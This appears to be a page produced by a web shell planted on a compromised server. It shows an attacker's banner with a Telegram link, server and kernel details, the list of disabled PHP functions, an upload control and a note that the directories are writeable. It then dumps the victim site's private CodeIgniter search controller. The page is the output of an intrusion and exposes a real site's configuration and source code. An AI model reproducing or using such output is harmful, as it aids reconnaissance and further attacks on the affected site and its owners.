https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kamariallee.com/public_html/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/kamariallee.com/public_html/application/controllers/Search.php
<?php
	 defined('BASEPATH') || exit('No direct script access allowed');

class Search extends Public_Controller
{
		public function get($keyword = null)
		{
				if($this->input->get('search_product'))
				{
						$keyword = $this->input->get('search_product');
				}

				if($keyword == null) {redirect(base_url());}

				//check if post sort_product is exist
				if ($this->input->get('sort_product'))
				{
						$this->session->set_userdata('sort_product', $this->input->post('sort_product'));
				}

				//get no. of products per page (pagination) from configuration table
				$this->db->select('products_displayed')->from('configuration')->where('id_configuration', 1);
				$per_page = $this->db->get()->row();

				//PRODUCTS
				//pagination in action
				$this->load->library('pagination');
				$config = array();
				$this->load->helper('pagination_helper');
				$config = pagination_format();
				$config['base_url'] = base_url() . 'search/get/' . $keyword . '/';
				$this->load->model('product_m');
				$config['total_rows'] = $this->product_m->count_products_by_search($keyword);
				$config['per_page'] = (int) $per_page->products_displayed;
				$config['uri_segment'] = 4;
				$this->pagination->initialize($config);

				$this->data['sort_product_by'] = $this->session->userdata('sort_product');

				$this->data['total_products'] = $config['total_rows'];

				$this->data['products'] = $this->product_m->get_products_by_search(
						$keyword,
						$config['per_page'],
						$this->uri->segment($config['uri_segment'])
				);
				
				$this->data['keyword'] = $keyword;
			
				//get SEO
				$this->data_header['browser_title'] = 'Search Products';
				$this->data_header['meta_description'] = 'Search products of KamariAlle.com';
				$this->data_header['meta_keywords'] = 'search product';

				$this->load->view('template/header', $this->data_header);
				$this->load->view('search', $this->data);
				$this->load->view('template/footer', $this->data_footer);
		}

		public function mobile()
		{
				//get SEO
				$this->data_header['browser_title'] = 'Search Products';
				$this->data_header['meta_description'] = 'Search products of KamariAlle.com';
				$this->data_header['meta_keywords'] = 'Search Product';

				$this->load->view('template/header', $this->data_header);
				$this->load->view('search-mobile', $this->data);
				$this->load->view('template/footer', $this->data_footer);
		}
}

https://t.me/RX1948 - 2025